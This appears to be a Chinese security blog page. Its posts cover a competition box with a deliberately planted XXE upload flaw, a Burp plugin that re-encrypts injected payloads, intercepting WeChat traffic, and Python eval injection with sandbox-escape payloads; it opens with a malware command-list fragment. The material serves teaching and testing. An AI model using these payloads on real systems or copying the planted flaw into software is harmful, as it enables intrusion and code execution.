CommandCenter.commands .add (“#lock”);
CommandCenter.commands .add (“#unlock”);
CommandCenter.commands .add (“#send” + “_sms”);
CommandCenter.commands .add (“#forward” + “_calls”);
CommandCenter.commands .add (“#disable_forward_calls”);
CommandCenter.commands .add (“#control_number”);
CommandCenter.commands .add (“#update_html”);
CommandCenter.commands .add (“#show_html”);
CommandCenter.commands .add (“#wipe_data”);
```

基于mezzanine的攻防比赛环境搭建及XXE漏洞构造

发表于 2016-04-01 | 分类于 Python | | 阅读次数

虚拟部署

virtualenv是python环境配置和切换工具,进入该虚拟环境后,pip安装的软件不影响当前主环境,这样就能很好的安装几个python版本了,解决了库之间的依赖关系。
安装virtualenv和pip
sudo apt-get install python-virtualenv python-pip

创建虚拟部署环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
gongfangbisai@ubuntu:~$virtualenv -p /usr//bin/python2.7 app
gongfangbisai@ubuntu:~$ cd app/
gongfangbisai@ubuntu:~/app$ ls
bin include lib local
gongfangbisai@ubuntu:~/app$ source bin/activate
(app)gongfangbisai@ubuntu:~/app$ pip install mezzanine
Downloading/unpacking mezzanine
Downloading Mezzanine-3.1.10-py2.py3-none-any.whl (5.7MB): 5.7MB downloaded
Downloading/unpacking bleach>=1.4 (from mezzanine)
Downloading bleach-1.4.1.tar.gz
```
首先使用virtualenv创建一个虚拟节点app,然后使用source激活,再在激活的节点下pip安装mezzanine,安装完mezzanine之后使用mezzanine-project来创建一个工程。
```bash
(app)gongfangbisai@ubuntu:~/app$ mezzanine-project myproject
(app)gongfangbisai@ubuntu:~/app$ cd myproject/
(app)gongfangbisai@ubuntu:~/app/myproject$ ls
deploy fabfile.py __init__.py local_settings.py manage.py requirements.txt settings.py urls.py wsgi.py
(app)gongfangbisai@ubuntu:~/app/myproject$ python manage.py createdb
Creating tables ...
Creating table auth_permission
Creating table auth_group_permissions
Creating table auth_group
..........
You just installed Django's auth system, which means you don't have any superusers defined.
Would you like to create one now? (yes/no): yes
Username (leave blank to use 'gongfangbisai'): gongfangbisai
Email address: shengqi158@gmail.com
Password:
Password (again):
Superuser created successfully.
A site record is required.
Please enter the domain and optional port in the format 'domain:port'.
For example 'localhost:8000' or 'www.example.com'.
Hit enter to use the default (127.0.0.1:8000):
Creating default site record: 127.0.0.1:8000 ...
Installed 2 object(s) from 1 fixture(s)
Would you like to install some initial demo pages?
Eg: About us, Contact form, Gallery. (yes/no): yes
Creating demo pages: About us, Contact form, Gallery ...
Installed 16 object(s) from 3 fixture(s)
Installing custom SQL ...
Installing indexes ...
Installed 0 object(s) from 0 fixture(s)
(app)gongfangbisai@ubuntu:~/app/myproject$ ls
deploy fabfile.py __init__.pyc local_settings.pyc requirements.txt settings.pyc urls.py
dev.db __init__.py local_settings.py manage.py settings.py static wsgi.py
```
使用mezzanine-project myproject创建完工程之后就是创建数据库,使用命令python manage.py createdb 即可,由于mezzanine是基于django框架的,可以看到一些基于django的数据库的创建。再接着会提示输入超级管理用户的用户名,email,密码,请记住,这是mezzanine系统的超级管理员。接下来我们试运行一下:
```bash
(app)gongfangbisai@ubuntu:~/app/myproject$ python manage.py runserver 0.0.0.0:8000

再接着在浏览器访问127.0.0.1:8000,如果正常说明mezzanine的搭建第一步ok。

采用uwsgi + nginx 方案部署

前期准备

首先是安装nginx,uwsgi,再接着集中模板和静态文件,这样好配置静态路径

1
2
3
4
python manager.py collectstatic
python manager.py collecttemplates
sudo apt-get install nginx
sudo apt-get install uwsgi

请求的发送过程大概如下,如果在最后的测试中报错的话就得按照数据的走向来排查问题:

--> nginx --> uwsgi --> mezzanine(django)```
1
2
3
4
5
### nginx 配置
安装好nginx之后,/etc/init.d/nginx start 即可以启动nginx,在页面访问80端口就能查看到nginx的欢迎页面。重要是配置:
nginx的默认配置文件路径:/etc/nginx/
在/etc/nginx/sites-enabled 新建自己的配置文件,从sites-available拷贝一个default重命名为mysite_nginx.conf,编辑如下:

server {
listen 80 default_server;
listen [::]:80 default_server ipv6only=on;

 root /home/gongfangbisai/app/myproject/; #网站的root目录
 index index.html index.htm;

 # Make site accessible from http://localhost/
 server_name localhost;

location /static {    #静态配置文件
    autoindex on;
    alias /home/gongfangbisai/app/myproject/static;
    access_log off;
    log_not_found off;
}

 location / {        #非静态请求,通过本地的8630端口来通信,这就是uwsgi后续要启动的端口
      # First attempt to serve request as file, then
      # as directory, then fall back to displaying a 404.
      try_files $uri $uri/ =404;
      # Uncomment to enable naxsi on this location
      # include /etc/nginx/naxsi.rules
      uwsgi_pass 127.0.0.1:8630;         
    include /home/gongfangbisai/app/myproject/uwsgi_params;
 }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
修改完之后,可通过nginx -t 来测试配置文件是否有语法错误,确认ok之后即可启动。
### uwsg 配置
wsgi.py的内容具体如下:
```python
from __future__ import unicode_literals
import os
PROJECT_ROOT = os.path.dirname(os.path.abspath(__file__))
settings_module = "%s.settings" % PROJECT_ROOT.split(os.sep)[-1]
os.environ.setdefault("DJANGO_SETTINGS_MODULE", settings_module)
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()

下面是配置wsgi:
在网站根目录新建wsgi.xml,具体如下:
(app)gongfangbisai@ubuntu:~/app/myproject$ cat wsgi.xml

1
2
3
4
5
6
7
8
9
10
11
<uwsgi>
<socket>127.0.0.1:8630</socket>
<master>true</master>
<chdir>/home/gongfangbisai/app/myproject/</chdir>
<pythonpath>..</pythonpath>
<module>wsgi</module>
<wsgi-file>wsgi.py</wsgi-file>
<enable-threads>true</enable-threads>>
<processes>4</processes>>
<plugin>python</plugin>
</uwsgi>

socket 是和nginx通信接口,pythonpath 为..,这样才能包含djaong的setting,chdir为网站根目录。

1
(app)gongfangbisai@ubuntu:~/app/myproject$ uwsgi -x wsgi.xml,

启动起来之后访问首页ok,但是到一些具体的功能页的时候就报404,查看输出日志,uwsgi出现404的时候没动,nginx有日志,也就是说请求到了nginx就没发到uwsgi了,按道理应该是nginx的配置有问题,就查nginx的日志实在找不出问题,而且关键是想不到搜索的关键字,总报404于是就将nginx的配置文件的try_files $uri $uri/ =404;注释掉,这回uwsgi有输出了,显示如下:
– unavailable modifier requested: 0 –
搜索该关键字,很多人遇到这个问题,好吧,再把相应的库给装上吧

apt-get install uwsgi-plugin-python```
1
2
3
4
5
6
装上库之后再sudo uwsgi -x wsgi.xml总报:
```bash
ImportError: No module named mezzanine
unable to load app 0 (mountpoint='') (callable not found or import error)

找了一下,说是python的路径问题,直接在该环境下python,再找sys.path没问题,后来再一看是自己手贱多加了个sudo,导致python环境不对,去掉sudo 运行uwsgi OK。

XXE漏洞的构造

前期调研未做好,装了ubuntu13.04,装它的原因就是因为他最近没有报本地提权漏洞,有点因小失大。好吧,总不能从头安装mezzine吧,于是拿libxml下手,选用的python的lxml作为问题程序,其etree.so依赖libxml2和libxslt.
于是安装存在xxe漏洞的libxml和libxlst,低于2.9.0,到http://xmlsoft.org/sources/ 下载相应的软件包,这里libxml选择2.8,libxlst选择1.2.27

1
2
3
gongfangbisai@ubuntu:~$ tar -zxvf libxslt-1.1.27.tar.gz
gongfangbisai@ubuntu:~$ cd libxslt-1.1.27/
gongfangbisai@ubuntu:~/libxslt-1.1.27$ ./configure&make 最后make install 它会装在/usr/local/lib目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gongfangbisai@ubuntu:~/libxslt-1.1.27$ python
Python 2.7.6 (default, Jun 22 2015, 17:58:13)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from lxml import etree
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: /usr/lib/x86_64-linux-gnu/libxml2.so.2: version `LIBXML2_2.9.0' not found (required by /usr/lib/python2.7/dist-packages/lxml/etree.so)
>>>
gongfangbisai@ubuntu:~/libxslt-1.1.27$ ldd /usr/lib/python2.7/dist-packages/lxml/etree.so
/usr/lib/python2.7/dist-packages/lxml/etree.so: /usr/lib/x86_64-linux-gnu/libxml2.so.2: version `LIBXML2_2.9.0' not found (required by /usr/lib/python2.7/dist-packages/lxml/etree.so)
/usr/lib/python2.7/dist-packages/lxml/etree.so: /usr/lib/x86_64-linux-gnu/libxml2.so.2: version `LIBXML2_2.9.0' not found (required by /usr/lib/x86_64-linux-gnu/libxslt.so.1)
linux-vdso.so.1 => (0x00007fffb9cc6000)
libxslt.so.1 => /usr/lib/x86_64-linux-gnu/libxslt.so.1 (0x00007fca6d652000)
libexslt.so.0 => /usr/lib/x86_64-linux-gnu/libexslt.so.0 (0x00007fca6d43d000)
libxml2.so.2 => /usr/lib/x86_64-linux-gnu/libxml2.so.2 (0x00007fca6d0df000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fca6cec1000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fca6cafc000)
libgcrypt.so.11 => /lib/x86_64-linux-gnu/libgcrypt.so.11 (0x00007fca6c87d000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fca6c679000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fca6c460000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fca6c159000)
/lib64/ld-linux-x86-64.so.2 (0x00007fca6dc02000)
libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007fca6bf55000)

安装完这两个软件后,通过strace python test.py > test.log 2>&1发现其还是依赖原先libxml,第一步想到的是update-alternatives,

1
2
gongfangbisai@ubuntu:~/app/myproject/static/media/uploads$ update-alternatives --list libxml
update-alternatives: error: no alternatives for libxml

怎么都不提示有两个版本的的libxml,那怎么办呢,强制修改软链接:

1
2
3
4
gongfangbisai@ubuntu:/usr/lib/x86_64-linux-gnu$ sudo ln -s /usr/local/lib/libxslt.so.1.1.27 libxslt.so
gongfangbisai@ubuntu:/usr/lib/x86_64-linux-gnu$ sudo rm libxslt.so.1
gongfangbisai@ubuntu:/usr/lib/x86_64-linux-gnu$ sudo ln -s /usr/local/lib/libxslt.so.1.1.27 libxslt.so.1
gongfangbisai@ubuntu:/usr/lib/x86_64-linux-gnu$ ldconfig

这样libxslt.so的依赖关系搞定了,通过同样的方式搞定libxml2,搞定这两个库之后,还是会提示etree.so依赖2.9的接口,怎么办呢,直接pip install -v lxml==3.0 这个xml版本就不存在依赖2.9接口的问题。在这里也引入了后面会遇到的一个问题,xx测试在python命令行中没有问题,但是在django环境中就有问题,总报库的依赖有问题,猛一回头发现是python虚拟环境搞得鬼,这个虚拟环境会引入libxml和libxslt这种系统lib下的库,但是像python的环境就不会引入,比如/usr/local/lib/python2.7/site-packages/下的,没办法只能在虚拟环境下重新安装了一遍lxml,这样就不会有库依赖的问题了。

gongfangbisai@ubuntu:~/app/myproject/static/media/uploads$ xmllint –noent a.xml //命令行测试比python更容易跟踪

解决了依赖问题,下面就是编码问题了:
django的登录认证:
./django/contrib/auth/views.py 在这里去掉修改密码的功能,注释掉password_change函数

去掉重置密码链接:直接注释用注释url链接
编辑grappelli_safe/templates/registration/ 相关页面

修改上传页面的逻辑处理,对于xml加上对entity的解释功能,这样就能导入一个xxe漏洞,修改filebrowser_safe/views.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
def decode_string(target):
try:
result = target.decode('utf8').encode('utf8')
return (1,result)
except:
pass
try:
result = target.decode('gbk').encode('utf8')
return (2,result)
except:
pass
try:
result = target.decode('gb2312').encode('utf8')
return (3,result)
except:
pass
try:
result = target.decode('utf16').encode('utf8')
return (4,result)
except:
pass
try:
result = target.decode('latin1').encode('utf8')
return (5,result)
except:
pass
return ''
def _upload_file(request):
for line in filedata.chunks():
code_type, line = decode_string(line)
if code_type != 4 and 'ENTITY' in line:
msg = _('illegal xml, ENTITY found!!!!')
return HttpResponse(msg)
uploadedfile = default_storage.save(file_path, filedata)
if default_storage.exists(file_path) and file_path != uploadedfile:
default_storage.move(smart_text(uploadedfile), smart_text(file_path), allow_overwrite=True)
if file_path.lower().endswith(".xml"):
from lxml import etree
try:
msg = _('path:%s:%s:%s:%s' %(uploadedfile, file_path,directory,type(filedata.chunks())))
if default_storage.exists(file_path):
abs_path = smart_text(django_settings.MEDIA_ROOT + "/" + file_path)
tree = etree.parse(abs_path)
tree.write(abs_path)
# return HttpResponse(msg)
except Exception,e:
msg = _('IOERROR:%s' %(e))
return HttpResponse(msg)

Burpsuite 插件开发之RSA加解密

发表于 2016-02-01 | 分类于 Burp | | 阅读次数

burpsuit extention 插件 RSA encryption decryption


#1,简介

burpsuit是一款非常好用的工具,目前我自己也是重度用户,所以就上手了burpsuit的插件接口开发,这篇文档主要记录了一个解密请求包,插入payload,再加密的插件开发过程。详细的代码见github代码,代码中除了burpsuit的接口实现,还包括各种加解密处理代码。在文档中数据首先是以rsa方式加密des的key得到encryptKey,然后使用des的key加密数据包得到data,再组装成一个JSON格式串,这是加密过程,当然解密过程就是逆向的。插件应用场景主要是用于通过分析apk的实现,或者泄露的密钥,获取其加解密算法,在解密后的数据包中插入payload,发现注入问题等。如下则是加密后的数据包:

1
2
3
4
c={
"data":"21BhviedgtbwK6rdlK7vzltqxOLxUmU2g5qaO5LWPYTha5fXslmL6jrMkFnJBwpZPZMNl5foxTUHw2Mae++zkWwtzWkKXI9WJ/CJqxO9uORT5I6iUmIG7bBcgnHpmlSNKfFwBvnr9vj3v5ByvW2s2/pL9rSaeD+/8XsX01NA96mC4g5pVBeU5IY9F4tdxH9yobXfN6GzEVhLeiEd30xzMA\u003d\u003d",
"encryptKey":"bjWZgigAW/ZaAA55v7Yi9AGt2qsP7BfZZISu70qc/xVUVfh5L/Mw/mMbzxkcZ6uXb1vvgXvF7hHYwjsVzvEkRK0rIfIwkcYzn160fvQ/8+F8YBMDLzTEhf8r0KjOLlJV+HgOsS4QG/G9lOU5mnupfrVA9sf54b3OvXHU0TQVG7U\u003d"
}

从数据库包能看到大的数据是一个json格式,里面有data,和encryptKey值,encryptKey就是使用RSA加密des 的key得到的,RSA的工作方式和pem文件可通过界面设置,再接着用这个key采用des方式解密data中的内容。操作界面如下:
操作界面图

#2,InsertPoint 接口

InsertPoint顾名思义就是注入点,就是payload插入的地方,比如request中的cookie,参数等位置。为了对一些burpsuit不支持的参数格式进行支持就必须实现该接口,可以用在Active Scanner和Intruder中.

##2.1 基础开发知识

最好的方式就是在原有插件的基础上修改,这样能省很多精力,当然如果要一步一步来的话,步骤如下:
(1)包含burp的接口文件
(2)创建一个包名为burp,在里面创建BurpExtender类,实现IBurpExtender接口,这个BurpExtender类是所有接口的心脏,注意这里涉及到名字都不能改动,burp插件就这么规定的。
(3)实现唯一的接口函数

1
2
3
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks) {
this. callbacks = callbacks ;
}

通过callbacks获取核心基础库能力,像日志,请求,返回值修改等。
(4)日志接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PrintWriter stdout = new PrintWriter(callbacks.getStdout(), true);
PrintWriter stderr = new PrintWriter(callbacks.getStderr(), true);
//输出到插件的output
stdout.println("Hello output");
// 输出到alerts tab
callbacks.issueAlert("Hello alerts");
//打印调用栈
e.printStackTrace(stderr)
```
有了这些日志接口就能比较好的调试代码了,如果要很好的跟踪请求的,可以在BApp Store中添加"Custom Logger"这个插件,能够记录所有的请求和返回信息。
##2.2 getInsertionPoints
下面我们就来讲讲如何实现一个`InsertionPoints`接口。
第一步继承`IScannerInsertionPointProvider`接口,实现getInsertionPoints()方法,同时通过`callbacks.registerScannerInsertionPointProvider(this)`方法注册成为insertion point provider。下面我们就来看看`getInsertionPoints()`的实现。
 @Override
public List<IScannerInsertionPoint> getInsertionPoints(IHttpRequestResponse baseRequestResponse)
{
    // 生成insertPoints数组
    List<IScannerInsertionPoint> insertionPoints = new ArrayList<IScannerInsertionPoint>();
    // 获取请求参数
    IRequestInfo requestInfo = helpers.analyzeRequest(baseRequestResponse.getRequest());
    List<IParameter> requestParams = requestInfo.getParameters();


    for (IParameter parameter : requestParams) {
        String value = parameter.getValue();
        value = helpers.urlDecode(value).trim();
        EncryptBean encryptBean = new EncryptBean();
        if (parameter.getName().trim().equals("c")){//参数中含有c参数表示要加密的内容
            encryptBean = JSON.parseObject(value, EncryptBean.class);
            stdout.println("private key: " + key.privateKey + " public key " + key.publicKey);
            try {
                value = decryptRSAAndDES(key, encryptBean);
                stdout.println("after decrypted:Will scan  data at parameter " + parameter + " with value decrypted " + value);

            } catch (Exception e) {
                e.printStackTrace(stderr);
            }

            if (value.isEmpty()) continue;

            try {
                String basename = parameter.getName();
                //insertionPoints.add(new InsertionPoint(this, baseRequestResponse.getRequest(), basename, value));
                JSONObject jsonObj = JSON.parseObject(value);
                String basevalue = "";
                for(Map.Entry<String, Object> entry: jsonObj.entrySet()){
                    basename = entry.getKey();
                    basevalue = entry.getValue().toString();
                    //在这里传入总的value值以便在InsertionPoint进行分解,构造加密后的request请求,构造InsertionPoint时传入的value为总的value值
                    insertionPoints.add(0,new InsertionPoint(this, baseRequestResponse.getRequest(), basename, value));
                    stdout.println("in for:Will scan AES encrypted data at parameter " + basename + " with value " + value);
                }

            } catch(Exception e) {
            }

        }

    }

    return insertionPoints;
}
1
2
3
这一段代码的大体意思就是通过helper.analyzeRequest方法获取所有请求信息,遍历其中的参数信息,当发现参数名等于"c"时就会调用解密过程,这块的代码需要根据参数格式自定义解析参数过程。调用解密的过程大体就是先解析JSON格式,然后解密,得到解密数据的内容后调用`new InsertionPoint(this, baseRequestResponse.getRequest(), basename, value)`实例化一个注入点。一般情况下basename和value是一一对应的,如param1=phoneNum,但是这里我们basename传入param1,value值则是解密后的值如`{"userid":"51ba27cb-514d-3d86-0000-2f7515a40613","task_id":"1450147269","param1":"000000000000000","m":"https"}`,这么传递是为了方便实例化插入点。接着我们看下InsertionPoint的参数构造。
##2.3 InsertionPoint

InsertionPoint(BurpExtender newParent, byte[] baseRequest, String basename, String basevalue)
{
this.parent = newParent;
this.baseRequest = baseRequest;
this.baseName = basename;
//this.baseValue = basevalue;
this.value = basevalue;
this.baseValue = JSON.parseObject(basevalue).getString(basename);

}
1
在InsertionPoint的代码中有一个很重要的接口就是buildRequest,这个函数就是用来添加payload。

@Override
public byte[] buildRequest(byte[] payload)
{
String payloadPlain = parent.helpers.bytesToString(payload);
String payloadEncrypted = “”;
String tmpAESKey = “0123456789abcdef”;
parent.stdout.println(“payloadPlain:” + payloadPlain);
parent.callbacks.issueAlert(“payloadPlain:” + payloadPlain);
try {
Map map = JSON.parseObject(this.value, new TypeReference>(){}.getType());
map.put(this.baseName, getBaseValue() + payloadPlain );
String allPayloadPlain = JSON.toJSONString(map);
payloadEncrypted = parent.encryptRSAAndDES(allPayloadPlain, tmpAESKey, parent.key);
} catch(Exception e) {
parent.callbacks.issueAlert(e.toString());
}
parent.stdout.println(“Inserting “ + payloadPlain + “ [“ + payloadEncrypted + “] in parameter “ + baseName);
// TODO: Only URL parameters, must change to support POST parameters, cookies, etc.
//“c” 解密数据格式包一致
return parent.helpers.updateParameter(baseRequest, parent.helpers.buildParameter(“c”, payloadEncrypted, IParameter.PARAM_BODY));
}
`` 这段代码就是获取payload,然后嵌入到解密后的请求包,然后将请求加密,最后调用updateParameter更新参数信息。在这里要注意parent.helpers.buildParameter(“c”, payloadEncrypted, IParameter.PARAM_BODY)c是body中的请求参数,和我们的数据格式对应,IParameter.PARAM_BODY这个参数则表明是Body中的请求参数,如果是URl中的则是PARAM_URL`

##2.4 接口关系

知道了上述接口的作用,感觉还糊里糊涂的。那就是这些接口是怎么串起来的,数据包是如何流动的,下面我们来看下active scanning的流程。
active scan流程
ActiveScanner引擎从InsertionPoints Provider获取Insertion Points,然后调用BuildRequest发送Request,Requst再经过HttpListener的处理到达webServer。

参考文献:

http://drops.wooyun.org/papers/3962

http://2015.zeronights.ru/assets/files/42-Elkin-Bulatenko.pdf

https://github.com/lgrangeia/aesburp

如何让Burpsuite监听微信公众号

发表于 2016-02-01 | 分类于 Burpsuite | | 阅读次数

1 目的

通过burpsuite代理截获微信公众号的https流量包,做一些重放和自动扫描。这个公众号会利用微信的认证体系,认证完之后就会到他本身的服务器,用户再通过微信内置浏览器的cookie或者其他认证机制交互,当然这些认证数据基本上无法获取,同时这个公众号在微信端也没有转发,在浏览器中打开等普通微信公众号常见功能。

2 模拟器+微信

由于模拟器的便捷性,第一个就会被想到,于是在4.0.3的模拟器上装上了最新版的微信,运行就退出。既然最高版本都已经禁止了模拟器,就想着微信的历史版本,装了30,35,40,45,50等版本,都是运行一会就提示升级,并且是不让用,难道我要逆向微信的代码,这个代价有点大,搜搜才知道原来微信已经禁止在模拟器上使用了,后来看到了有人出了解决方案,就是先root,然后装xposed框架,然后在其上装XPrivacy,过程复杂,详情见链接,这种方法我没有接着试下去。

3 真机+微信

模拟器已经被禁用,只能拿出自己的手机来试验了。

3.1 wifi 环境

由于是台式机,直接使用的随身wifi,如果是笔记本,可以直接将本设置为wifi热点。

3.2 代理设置

首先是burpsuite的代理设置,见下图,图中ip则是我的真实机的ip,绑定的端口则可以任意设置,不冲突即可,我这里设置成8080端口。
绑定ip
设置完burpsuite则是手机上wifi的代理设置,先连接到wifi热点,长按链接处,选“修改网络”,勾选“显示高级选项”,代理设置那里改成“手动”,就可以填写HTTP代理的主机和端口,在这里我们设置成第二步中burpsuite设置的ip地址和端口地址。

3.3 证书安装

这样设置完之后基本上就可以抓包了,如果是https的请求,每次都会提示证书问题,很烦人也影响效率,所以我们要安装burpsuite的证书,由于前面设置好了代理,通过手机浏览器访问http://burp,就能看到有证书下载,下载完之后,通过手机的设置,安全,再到证书安装,安装完证书即可。

这样设置之后,手机上的大部分http和https数据包都能截获了,微信的数据包也能截获了,只是都是加密的,根本不知道是啥,要被测试的公众号呢?每次打开都是白屏,啥提示都没有,burpsuite上无流量显示,通过wireshark抓包,也仅仅是一些到腾讯服务器的tcp流量,难道微信还能自动检测代理存在,自动根据公众号的安全级别来绑定,安全级别高则不发送相应流量,仅仅是猜测。

上述方式行不通,想到了第三种

4 微信windows客户端

微信在windows端也提供了相应的版本,相对于手机android版本,功能较弱,当然一些安全策略也有变化。
(1)修改windows hosts的配置文件,路径(C:\Windows\System32\drivers\etc\hosts),具体的配置如下:
127.0.0.1 test.com

(2)burpsuite代理的设置

绑定设置
转发设置
按照如上图示设置之后,微信客户端发送到test.com的流量就直接转发给本地127.0.0.1:9080端口,这样burpsuite就能捕获到了,接着burpsuite将该包转发到test.com对应的ip的端口上就完成了一次请求捕获转发的过程。
注意事项:
support invible proxying 必须开启,否则看不到流量。
request handling中redirect to host 必须设置成具体的ip,也就是test.com对应的ip,否则会导致包死循环在本地转发。

在burpsuite中如果设置成test.com会报如下错误

1
This request to Burp's web interface used a fully-qualified DNS name in the Host header. The request was blocked to prevent DNS rebinding attacks. You can enable support for fully-qualified DNS names in Burp's web interface at Proxy / Options / Miscellaneous.

接着按照如上设置之后,将如下选项打勾之后则会报后续错误,解决方法就是直接设置成ip和端口
Invalid client request received: Dropped request looping back to same Proxy listener.
在此我们就完成了微信流量的监测。

微信windows客户端的好处就是方便测试,另外能够打开在微信 android客户端无法获取链接的问题,目前在1.5.0.33好用,估计过段时间也会被微信封了。

Python eval的常见错误封装及利用原理

发表于 2015-07-31 | 分类于 Python | | 阅读次数

最近在代码评审的过程,发现挺多错误使用eval导致代码注入的问题,比较典型的就是把eval当解析dict使用,有的就是简单的使用eval,有的就是错误的封装了eval,供全产品使用,这引出的问题更严重,这些都是血淋淋的教训,大家使用的时候多加注意。
下面列举一个实际产品中的例子,详情见[bug83055][1]:

def remove(request, obj):
     query = query2dict(request.POST)
     eval(query['oper_type'])(query, customer_obj)

而query就是POST直接转换而来,是用户可直接控制的,假如用户在url参数中输入oper_type=__import__('os').system('sleep 5') 则可以执行命令sleep,当然也可以执行任意系统命令或者任意可执行代码,危害是显而易见的,那我们来看看eval到底是做什么的,以及如何做才安全?

1,做什么

简单来说就是执行一段表达式

>>> eval('2+2')
4

>>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""")
{'ip': '10.10.10.10', 'name': 'xiaoming'}

>>> eval("__import__('os').system('uname')", {})
Linux
0

从这三段代码来看,第一个很明显做计算用,第二个把string类型数据转换成python的数据类型,这里是dict,这也是咱们产品中常犯的错误。第三个就是坏小子会这么干,执行系统命令。
eval 可接受三个参数,eval(source[, globals[, locals]]) -> value
globals必须是路径,locals则必须是键值对,默认取系统globals和locals

2,不正确的封装

(1)下面我们来看一段咱们某个产品代码中的封装函数,见[bug][2],或者网络上搜索排名比较高的代码,eg:

def safe_eval(eval_str):
    try:
        #加入命名空间
        safe_dict = {}
        safe_dict['True'] = True
        safe_dict['False'] = False
        return eval(eval_str,{'__builtins__':None},safe_dict)
    except Exception,e:
        traceback.print_exc()
        return ''

在这里__builtins__置为空了,所以像__import__这是内置变量就没有了,这个封装函数就安全了吗?下面我一步步道来:

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',

列表项

‘UnicodeEncodeError’, ‘UnicodeError’, ‘UnicodeTranslateError’, ‘UnicodeWarning’, ‘UserWarning’, ‘ValueError’, ‘Warning’, ‘ZeroDivisionError’, ‘_’, ‘debug‘, ‘doc‘, ‘import‘, ‘name‘, ‘package‘, ‘abs’, ‘all’, ‘any’, ‘apply’, ‘basestring’, ‘bin’, ‘bool’, ‘buffer’, ‘bytearray’, ‘bytes’, ‘callable’, ‘chr’, ‘classmethod’, ‘cmp’, ‘coerce’, ‘compile’, ‘complex’, ‘copyright’, ‘credits’, ‘delattr’, ‘dict’, ‘dir’, ‘divmod’, ‘enumerate’, ‘eval’, ‘execfile’, ‘exit’, ‘file’, ‘filter’, ‘float’, ‘format’, ‘frozenset’, ‘getattr’, ‘globals’, ‘hasattr’, ‘hash’, ‘help’, ‘hex’, ‘id’, ‘input’, ‘int’, ‘intern’, ‘isinstance’, ‘issubclass’, ‘iter’, ‘len’, ‘license’, ‘list’, ‘locals’, ‘long’, ‘map’, ‘max’, ‘memoryview’, ‘min’, ‘next’, ‘object’, ‘oct’, ‘open’, ‘ord’, ‘pow’, ‘print’, ‘property’, ‘quit’, ‘range’, ‘raw_input’, ‘reduce’, ‘reload’, ‘repr’, ‘reversed’, ‘round’, ‘set’, ‘setattr’, ‘slice’, ‘sorted’, ‘staticmethod’, ‘str’, ‘sum’, ‘super’, ‘tuple’, ‘type’, ‘unichr’, ‘unicode’, ‘vars’, ‘xrange’, ‘zip’]

从__builtins__可以看到其模块中有__import__,可以借助用来执行os的一些操作。如果置为空,再去执行eval函数呢,结果如下:

>>> eval("__import__('os').system('uname')", {'__builtins__':{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name '__import__' is not defined

现在就是提示__import__未定义,不能成功执行了,看情况是安全了吧?答案当然是错的。
比如执行如下:

>>> s = """
... (lambda fc=(
...     lambda n: [
...         c for c in
...             ().__class__.__bases__[0].__subclasses__()
...             if c.__name__ == n
...         ][0]
...     ):
...     fc("function")(
...         fc("code")(
...             0,0,0,0,"test",(),(),(),"","",0,""
...         ),{}
...     )()
... )()
... """
>>> eval(s, {'__builtins__':{}})
Segmentation fault (core dumped)

在这里用户定义了一段函数,这个函数调用,直接导致段错误
下面这段代码则是退出解释器:

>>>
>>> s = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "Quitter"
... ][0](0)()
... """
>>> eval(s,{'__builtins__':{}})
liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $ 

初步理解一下整个过程:

>>> ().__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 